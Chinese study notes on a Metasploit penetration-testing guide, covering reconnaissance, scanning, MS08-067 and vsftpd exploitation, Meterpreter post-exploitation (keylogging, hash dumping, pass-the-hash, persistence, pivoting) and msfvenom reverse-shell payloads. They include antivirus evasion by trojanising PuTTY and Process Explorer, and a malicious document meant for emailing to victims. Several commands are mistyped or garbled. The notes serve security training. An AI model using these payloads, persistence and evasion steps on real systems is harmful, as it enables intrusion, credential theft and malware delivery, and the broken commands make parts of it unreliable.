Metasploit 笔记
基本操作
metasploit 渗透测试指南 小笔记
情报搜集
被动信息搜集
whois 查询
whois 可以查找域名服务器,如果Name Server不属于要测试的站点,则不应该将其作为攻击目标。
也可以查询IP地址
如果NetType并不在域名内,可能网站是由提供托管服务的第三方运营的。
Netcraft
Netcraft,可以查出服务器的IP地址,例如testfire.net
的IP地址是65.61.137.117
。
nslookup
查到 mail addr 不属于 testfire.net,也不在攻击范围内。
Google Hacking
可以通过搜索关键词 site,将搜索目标限定在网站域名下。搜索site:testfire.net
,可以发现有 www demo altoro 三个子域名,而且除了80端口,8080端口也提供web服务。demo.testfire.net
域名下存在两个目录遍历的不安全配置缺陷,导致RTF文档敏感文件泄露和ASP源码泄露。在8080端口提供基于 Swagger的AltoroJ API 接口和使用手册。
还可以搜索一些与渗透攻击目标相关的搜索词,比如site:testfire.net admin
,可以发现管理员后台登录界面。使用site:testfire.net login
可以发现login界面泄露的ASP源码。可以想到这里存在本地文件包含和SQL注入。
主动信息搜集
使用Nmap进行扫描
推荐选项 -sS
执行一次隐秘的TCP扫描,-Pn
不要使用ping命令预先判断主机是否存活,默认所有主机都是存活的,适用于Internet上的渗透测试环境,因为大多数网络不允许ICMP协议通过。
可以加入 -A
选项尝试获得深入的服务枚举和旗标获取。
使用数据库
渗透比较复杂时可以使用数据库。默认使用 postgresql,用db_status
可以确认数据库连接情况。
将nmap输出导入 metasploit
1 | nmap -Pn -sS -A -oX Subnet1.xml 192.168.1.0/24 |
TCP空闲扫描
这种扫描可以冒充网络上另一台主机的IP地址,对目标进行更隐秘的扫描。首先需要定位一台使用递增IP帧标识机制的空闲主机。它的IP帧标识是可以预测的,能够计算出下一个IP帧标识。当我们冒充这台主机的IP地址对目标主机的某个端口进行探测后,如果该空闲主机实际的IP帧标识与预测不同,意味着那个端口可能是开放的。
可以使用scanner/ip/ipidseq
模块寻找符合要求的空闲主机。
显示了执行扫描所需的参数,RHOST参数可以使用IP地址段,如192.168.1.100-192.168.1.200
,或者 CIDR 无类型域间选路 地址块,如192.168.1.0/24
,使用都好的多个CIDR地址块以及每行包含一个IP地址的IP列表文本文件,如file:/tmp/hostlist.txt
。THREADS参数设定扫描的线程数,默认为1。Windows中不要超过16,类UNIX系统不要超过128。
执行扫描:
在扫描结果中可以发现可用于扫描的主机,例如192.168.1.131
,可以使用 nmap 的-sI
选项指定这台主机作为空闲主机对目标进行扫描。
这种方法不用自身IP想目标主机发送信息。
在msf终端运行nmap
msfconsole 中连接数据库后,可以使用 db_nmap
命令,把nmap结果存储在数据库中。
可以执行services 命令查看数据库中关于系统上运行服务的扫描结果:
使用 metasploit 进行端口扫描
除了第三方扫描器,辅助模块中也包含了内建的端口扫描器,有时这些扫描器更具有优势。例如贡献了一台位于防火墙之后使用NAT的主机,这台主机使用无法从Internet直接连接的私有IP,如果希望使用 metasploit 对NAT后的主机进行攻击,可以使用已攻陷的主机作为跳板,将流量传送到内部的主机。
查看提供的扫描工具,本例中使用 SYN 端口扫描器:
针对性扫描
举例来说,在目标网络中快速扫描存在 MS08-067 漏洞的主机很常见,因为这是一个普遍存在的安全漏洞,并且能轻松获得 SYSTEM 权限。
服务器消息块协议扫描
可以利用smb_version
模块遍历一个网络,并获取Windows版本号。
稍后可以使用 hosts 查看保存的结果。
搜寻配置不当的 Microsoft SQL Server
MS SQL 默认监听TCP 1433 端口,如果使用了随机的TCP端口,可以对UDP 1434 进行查询来获得这个随机的端口号。Metasploit 中有 mssql_ping
模块实现。
SSH 服务器扫描
ssh_version
可以识别SSH版本。
FTP 扫描
检查是否允许匿名登录,以及匿名用户的权限
简单网管协议扫描
SNMP 常用于网络设备,提供系统信息。模块scanner/snmp/snmp_enum
,如果能够获取制度或者读写的团体字符串,将发挥重要作用,提供许多重要信息。短体字符串基本等同于查询设备信息或者写入设备配置参数所需的口令。得到团体字符串后,利用scanner/snmp/snmp_login
模块可以尝试对一个IP或者一段IP使用字典破解团体字符串。
编写自己的扫描器
漏洞扫描
使用漏洞扫描器通常会在网络上产生大量流量,如果渗透测试工作不需要隐秘进行,使用漏洞扫描器非常方便。
基本的漏洞扫描
使用 netcat 获取目标的旗标。一旦连接到一个服务端口或向他们发送特定指令时,就可以获得旗标,例如Web服务器。
会回复一个 400 错误,并说明服务器是 IIS 5.1,可以据此查找已知漏洞。
漏洞扫描器有时存在误报和漏报,常用的漏洞扫描器包括 Nexpose, Nessus 和一些专项扫描器。
使用 Nexpose 进行扫描
扫描的目标是一个默认安装的 Windows XP SP2 主机,首先进行一次公开的白盒扫描,然后将结果导入 Metasploit。同时也可以在 MSF终端 调用Nexpose。
配置
启动服务后,访问https://localhost:3780
,接受Nexpose签发的服务器整数,用安装时设定的用户名和密码登录,并完成激活。
标签页:
- 资产(Assets)显示已经扫描过的计算机和设备
- 报告(Report)列出扫描后生成的报告
- 漏洞(Vulnerabilities)对在网络上发现的漏洞进行详细描述
- 管理(Administration)可以对系统配置进行修改
有创建站点向导、手动扫描向导、生成报告向导可以使用。
将扫描报告导入 Metasploit
完成了一次完整的漏洞扫描后,在 msfconsole 中使用 db_nonect
创建一个新数据库,使用db_import
将Nexpose的 XML 格式扫描报告文件导入数据库。Metasploit会识别出文件是由 Nexpose 生成的,并将扫描结果导入。随后使用db_hosts
查看导入是否成功。
如果想显示导入漏洞的详情可以使用db_vulns
。
在 MSF 控制台中运行 Nexpose
Metasploit 中包含 Nexpose 插件,可以在MSF终端中完成漏洞扫描。扫描之前需要使用db_connect
创建新的数据库。
使用help
可以获得此插件的命令。第一次扫描之前需要连接到所安装的 Nexpose 实例,输入nexpose_connect -h
可以显示连接参数,在这里需要提供连接 Nexpose 需要的用户名、密码和IP地址,在最后加上 ok 参数表示接受SSL证书警告。
扫描结束后,结果保存在了数据库中。
使用 Nessus 进行扫描
专用漏洞扫描器
验证SMB登录
这种扫描会留下大量记录
1 | use auxiliary/scanner/smb/smb_login |
扫描开放的VNC空口令
新版本的VNC不允许空口令
扫描开放的X11服务器
如果发现了漏洞,可以利用xspy
记录键盘输入。
渗透攻击之旅
渗透攻击基础
1 | show exploits # 显示所有可用的攻击模块 |
模块中的参数只有两个状态,set 和 unset。有些参数是必填的(required),必须手工设置并且处于启用状态。使用 set 命令可以对某个参数进行设置并启用,unset 可以禁用相关参数。
setg 和 unsetg 是上面两个的全局版本,有些参数不会经常改变,比如 LHOST 可以通过setg 设置。
save 命令可以把使用 setg 设置的全局参数保存下来,下次启动 msfconsole 时可以继续使用。在任何时候都可以使用 save 保存当前状态。
攻击 Windows
靶机:Windows XP SP2 和 Ubuntu 9.04,Windows 配置了 IIS 和 SQL Server。
利用 MS08-067 漏洞
使用 nmap 扫描脚本,扫描Windows
-sT
隐秘的tcp连接扫描,-A
高级系统探测功能,扫描结果显示MS08-067: VULNERABLE
。
MS08-067 漏洞高度依赖于系统版本,所以我们手动指定目标版本,保证能触发正确的一处代码。
1 | search ms08_067_netapi |
先查找 MS08-067 的攻击模块,使用 use 加载。设置 payload 位基于 Windows 的 reverse_tcp,这个模块会从目标主机发起一个反弹连接,连接到 LHOST,可以绕过防火墙或者穿透 NAT 网关。show targets 让我们识别和匹配目标操作系统类型(多数模块会自动识别),指定了系统。 Windows XP SP2 English(AlwaysOn NX)意思时不允许执行,即启用 DEP 保护(默认)。设置 RHOST 指定目标, LHOST LPORT 指定监听的TCP端口(使用常见端口可以帮助绕过防火墙)。show options 确认参数都已经设置正确。exploit 初始化攻击环境,并开始对目标进行攻击尝试,成功会返回一个 reverse tcp 方式的 meterpreter 会话。
此时可以使用 session -l
查看远程运行的 meterpreter 状况。如果同时对多个目标进行了攻击,会同时开启多个会话。sessions -i 1
指与ID为 1 的控制会话交互。如果这个会话是一个反向连接命令行 shell,这个命令会把我们带到命令提示符状态下。输入 shell
,进入目标系统的交互命令行shell。
攻击 Metasploitable
与上面类似
发现 22 个开放端口,主机操作系统为 Debian,运行 vsftpd 2.3.4。
1 | search vsftpd |
这是命令执行攻击 ,成功率很高,标注了 excellent。使用了一个 bind 的交互式 shell,在目标主机打开了一个端口,连接到目标主机。
全端口攻击载荷:暴力破解目标开放的端口
如果攻击的组织内部设置了严格的出站端口过滤,可以使用专用的攻击载荷辅助逐个尝试可用的端口。
以攻击 windows 为例
1 | use windows/smb/ms08_067_netapi |
对所有端口进行了尝试,直到发现放行的段偶。
资源文件
resource file 指 msfconsole 中包含一些列自动化命令的脚本文件,这是一个可以在 msfconsole中执行的命令列表,列表中的命令顺序执行。资源文件可以简化攻击过程,使用resource
命令载入资源文件,或者在OS命令行中使用 -r
将资源文件作为 msfconsole 的一个参数 。
创建一个能够显示 metasploit 版本并且载入声音插件的资源文件
实际环境中可以使用更复杂的资源文件,自动进行攻击,比如自动执行SMB攻击,resource.rc
内容如下:
1 | use explooit/windows/smb/ms80_067_netapi |
终端执行
后面可以使用 Karmetasploit 创建复杂的资源文件。
Meterpreter
使用 Meterpreter 前需要攻陷系统,来获得一个 meterpreter shell
攻击 Windows
攻击 MSSQL
这次攻击 MSSQL 服务。
这里MSSQL使用了默认的1433端口,如果不是,可以用mssql_ping
模块查找MSSQL服务端口。使用mssql_login
可以尝试对 sa 用户密码进行破解。
1 | use auxiliary/scanner/mssql/mssql_ping |
上面爆破出了 sa 的密码 password123。
xp_cmdshell
xp_cmdshell
是MSSQL默认装载的内奸存储程序,可以直接执行操作系统命令。下面使用mssql_payload
与xp_cmdshell
交互,添加本地管理员,通过可执行文件写入payload。
1 | use exploit/windows/mssql/msql_payload |
成功后就得到了一个 meterpreter 会话
meterpreter 基本命令
获得 meterpreter shell 后,可以利用一些基本命令获得更多信息,使用help
可以得到帮助。
- screenshot ,截屏
- sysinfo ,获取系统运行的平台
- ps ,获得进程列表
- migrate ,迁移到目标进程空间
可以获取键盘记录
1 | ps # 看到explorer.exe,进程号为1824 |
获得用户名和密码
Windows 系统存储用户密码哈希值方式一般有 LAN Manager(LM), NTLAN Manager(NTLM), NTLAN Manager v2(NTLMv2)。
使用 Meterpreter 命令获取哈希值
开头为aad3b
的哈希值是一个空的哈希值。
传递哈希值
虽然得到了哈希值,但很难破解复杂的密码。使用哈希值传递技术可以只用哈希值登录。
1 | use windows/smb/psexec |
权限提升
在目标机器上创建新用户bob,运行生成的 payload.exe
运行后,使用 msfconsole 管理 shell
1 | use exploit/multi/handler |
在这里,获得了shell,用net user 命令发现 bob 是 User 组的用户,不是管理员,然后使用 CTRL+Z 保留会话(也可以使用background
),稍后使用 sessions -l
和 sessions -i <id>
能够回到 meterpreter shell。
使用特权模块,然后尝试获取本地管理员或者 SYSTEM 权限,使用 getuid 查看结果。
令牌假冒
使用 ps
命令后,可以看到 cmd.exe ,进程号2780,我们所在域是 metasploit, 域管理员为 administrator。
这时 Meterpreter 是以域管理员来运行的。
有时 ps 不能列出域管理员运行的进程,可以使用incognito
列举系统上可以使用的令牌。
1 | use incognito |
跳板攻击
使用 Meterpreter 进行跳板攻击
例子中,我们从一个子网攻击一个目标系统,然后通过这个系统建立路由攻击其他及其。首先尝试对 Windows XP 进行攻击,然后以此作为据点,对目标内部网络的一个Ubuntu 系统进行攻击。
假设已经获取了某个服务器的访问权限,需要关注的市如何与目标网络建立连接。使用scripts/meterpreter
目录下的 Meterpreter 外部脚本,提供了可以使用的额外脚本。
首先显示了被控系统上的本地子网,将会话后台运行,在MSF终端中添加路由命令,告知系统将远程网络ID(受控主机的本地子网)通过攻击会话1 路由,然后通过route print
显示当前活跃的路由设置。
然后对目标Linux系统进行第二次渗透攻击,使用基于 VSFTPD 的攻击,存在于 Metasploitable 靶机上。
1 | use exploit/unix/ftp/vsftpd_234_backdoor |
通过 ifconfig 显示网络信息,然后与 RHOSTS 和LHOST对比,可以看到 LHOST 指定的是攻击机的IP地址,RHOST是 目标网络子网的地址。如果希望进一步对内网进行跳板扫描,可以使用 scanner/portscan/tcp
模块,可以使用已建立的路由通道。
使用load auto_add_route
命令可以自动化添加路由
使用 Meterpreter 脚本
通过run <script>
可以在 meterpreter 终端中运行扩展脚本。
- VNC
获得一个 VNC 连接。
- 迁移进程
攻击系统时,使用迁移进程可以进入稳定的,不会关闭的服务进程中,以便维持稳定的系统控制连接。
- 关闭杀软
- 获取系统密码哈希值
- 查看流量
- 获取系统信息
- 控制持久化
注入 meterpreter 代理,确保重启之后 meterpreter 还能运行,如果是反弹连接方式可以指定连接间隔;绑定方式可以设置在指定时间绑定开放端口。渗透完成后如果不移除,任何攻击者都可以获得这个系统的访问权。
1 | run persistence -X -i 50 -p 443 -r 192.168.1.107 |
开机自启动 -X
,50秒重连一次-i 50
,端口443 -p 443
,连接的目的IP -r 192.168.1.107
,使用use multi/handler
监听。
移除 Meterpreter 代理的方式是删除 HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
中的注册表键和C:\WINDOWS\TEMP
中的 VBS 文件
将命令行 shell 升级为 Meterpreter
可以在系统被攻陷时使用session -u
将命令行 shell 提升为 Meterpreter。例子中使用MS08-067反弹命令行shell,然后升级为 Meterpreter shell。
1 | search ms08_067 |
通过附加的 Railgun 组件操作 Windows API
通过 irb
获得一个交互式 Ruby shell,允许用 Ruby 语法与 Meterpreter 交互。
msfvenom
代替了原来的 msfpayload 和 msfencode,是这两个的结合体。
生成 payload
需要两个必要参数,-p
和-f
-p
参数指定特定的payload,可以使用如下命令列出所有可以使用的payload
也支持使用 -
作为值从标准输入中读取自定义 payload
-f
指定 payload 输出格式,例如
可以通过以下命令查看支持的格式
典型使用
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe |
对payload进行编码
默认情况下,当使用-b
选项时(badchar),编码功能自动启用。其他情况下,必须使用-e
选项开启编码功能,例如:
使用-l
参数可列出可用编码器
有时可以通过-i
参数将一个payload多次编码,绕过杀软,但是编码并不是免杀的方案
避免使用某些字符
-b
参数使用时,某些字符不会出现在payload中,msfvenom会自动使用何时的编码器编码 payload
提供自定义模板
默认情况下,msfvenom 使用保存在msf/data/templates
下的模板文件,使用-x
参数可以指定自己的模板
如果想使用自定义的基于64位操作系统的模板,-f
参数中的 exe 需要修改为 exe-only。
-x
与-k
通常同时使用,这样可以将模板中的payload作为新线程运行,但是只适用于较老的机器。
将msfvenom的输出串联(利用管道重定向)
旧的 msfpayload 和 msfencode 经常串联使用,并且可以按照多种编码顺序排列,msfvenom也可以这样使用
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 | \ |
免杀技术
杀软通常通过特征码对文件进行检测,我们可以针对目标创建一个独一无二的 payload。直接攻击时,payload还可以仅在内存中运行,不写入硬盘。
使用 MSF 攻击载荷生成器创建可独立运行的二进制文件
这里使用 msfvenom 载入 windows/shell_reverse_tcp
载荷,使用--payload-options
查看参数
1 | msfvenom -p windows/shell_reverse_tcp --payload-options |
启动监听
躲避杀软检测
使用 MSF 编码器
用msfvenom -h
查看帮助,msfvenom -l encoders
列出可用的编码器。将生成的原始数据输入编码器并查看新生成的文件。
1 | msfvenom -p windows/shell_reverse_tcp LHOST 192.168.671.36 LPORT=443 -e x86/shikata_ga_nai -f exe -o payload2.exe |
多重编码
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.67.136 LPORT=443 -e x86/shikata_ga_nai -i 10 -f raw |msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 10 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -f exe -o payload3.exe |
-i
参数表示次数,这里总共执行了不同的35次编码,但是依然无法成功突破杀软检测。
自定义可执行文件模板
通常,msfvenom
会将攻击载荷嵌入默认的可执行文件模板,位于data/templates/template.exe
,这个文件会受到杀软的关注。现在的msfvenom
支持使用-x
使用任意的 Windows 可执行程序代替默认模板文件,例如将微软Sysinternals
中的Process Exploerer
最为模板。
1 | wget http://download.sysinternals.com/files/ProcessExplorer.zip |
隐秘地启动一个攻击载荷
被攻击的用户打开刚刚生成的文件时,什么都没有发生,可以引起用户的怀疑。我们可以在启动攻击载荷的同时让宿主程序能够正常运行。
1 | wget https://the.earth.li/~sgtatham/putty/0.67/x86/putty.exe |
用-k
选项处理 putty,会配置攻击载荷在一个独立的线程中启动,这样宿主程序不会受影响,但不是所有可执行程序都支持-k
选项。如果没有使用-k
选项,最好使用图形界面。否则cmd窗口直到攻击载荷使用完毕才会关闭。
加壳软件
加壳能够减小文件大小,而且不影响原有的功能。下面使用 UPX 加壳,尝试进行免杀处理
Metasploit Pro 的动态载荷
客户端渗透攻击
基于浏览器的渗透
针对浏览器的攻击与传统的渗透攻击不同在于 shellcode 触发方式不同。传统渗透攻击中,攻击者的全部目标时获取 RCE 的机会,植入一个 payload。然而在浏览器渗透攻击中,为了能够执行特殊构造的 payload,通常采用堆散射(heap sparying)的漏洞利用技术。
堆是指用于动态分配的进程内存空间,应用程序在运行时按需对这段内村惊醒申请和使用。堆空间的大小取决于计算机的可用内存空间,以及在软件生命周期中已使用的内存空间。在程序的运行过程中,对于攻击者而言,内存的分配地址是位置的,所以不能简单地跳转到某一地址。
空指令(NOP)是不做任何事情,直接执行下一条指令。空指令滑行区(NOP slide)是很多空指令相连组成的一个区域。空指令对应的操作码是 90
,通常以\x90
的形式出现在渗透代码中。
堆散射技术是指将空指令滑行区与 shellcode 组合成固定的形式,将它们重复填充到堆中,直到填满一大块内存空间。堆中的内存分配实在程序运行时动态执行的,通常利用浏览器执行 JS 申请大量内存,当程序执行流改变时,程序会随即跳转到某个地方,很可能这个地方已经被空指令滑行区覆盖,可以执行紧随其后的 shellcode。
使用 ollydbg 调试器获得空指令机器码
执行之后会输出两个 shellcode,第二部分是在第一部分的shellcode 打开的端口有请求是,Metasploit 会自动发送的。将生成的第一部分 shellcode 中的/x
去掉以便使用 ollydbg 调试,可以在前面加上许多90
。
随便打开一个程序,打开 ollydbg,选择 File 中的 Open,指向一个可执行程序。在出现的许多汇编指令中,点击第一条,按住 SHIFT 和左键选中接下来的300条指令。赋值刚才的shellcode,在调试窗口中粘贴,可以看到一些空指令和 shellcode。当第一次输出 bind_tcp 格式的 shellcode 时,可以看到第一阶段结束指令时 ecc3,定位这个以 ecc3结尾的指令块。
在 ecc3 的下一条指令设置断点,回到加入空指令的指令区域顶端,F5,执行到断点前,这时已经打开了端口,可以通过netstat -an
查看。在 metasploit 中打开一个多线程监听器,这会向第一阶段打开的端口发送第二段 shellcode,获取控制会话。
对 IE 的极光漏洞进行渗透利用
1 | use windows/browser/ms10_002_aurora |
设置完成后,可以使用 Windows XP 虚拟机访问 http://<srvhost>:<srvport>
,连接到该网站后,虚拟机稍微有些迟钝,稍后就会得到一个 meterpreter shell。但是用户一旦关闭浏览器就会失去连接。一旦建立连接,应该立刻运行run migrate
迁移到新的独立进程内存空间。
可以使用高级选项进行自动化,比如想改变反弹式连接每次尝试连接的次数。或者自动迁移到新进程。
这是一个基于浏览器的攻击,很可能获得的是用户权限的 shell,使用usee priv
和getsystem
尝试提权。
文件格式漏洞渗透攻击
有的应用程序存在由输入文件格式类型 bug 导致的可利用的安全漏洞,比如 Adobe PDF。下面利用 MS11_006,这时一个利用系统函数CreateSizedDIBSECTION
中的栈溢出的漏洞。
1 | use exploit/windows/fileformat/ms11_006_createsizeddibsection |
发送攻击负载
上面生成了 msf.doc,可以通过邮件发送给用户。实际发送这个文档之前,必须在模块中建立一个多线程监听端,可以保证渗透攻击发生时,攻击主机可以收到来自目标主机的连接请求。
1 | use multi/handler |
Metasploit 辅助模块
辅助模块(auxiliary)主要提供信息搜集的支持,也提供一些后渗透攻击模块。
可以使用show auxiliary
列出可用辅助模块。
使用辅助模块
比如想攻击一台 web 服务器,可以使用search scanner/http
查找可用的 HTTP 扫描器。旧版 IIS 服务器的 WebDAV 功能存在一个可用于远程攻击的漏洞,可以针对目标进行一次扫描。
辅助模块剖析
社会工程学工具包
配置
Metasploit 笔记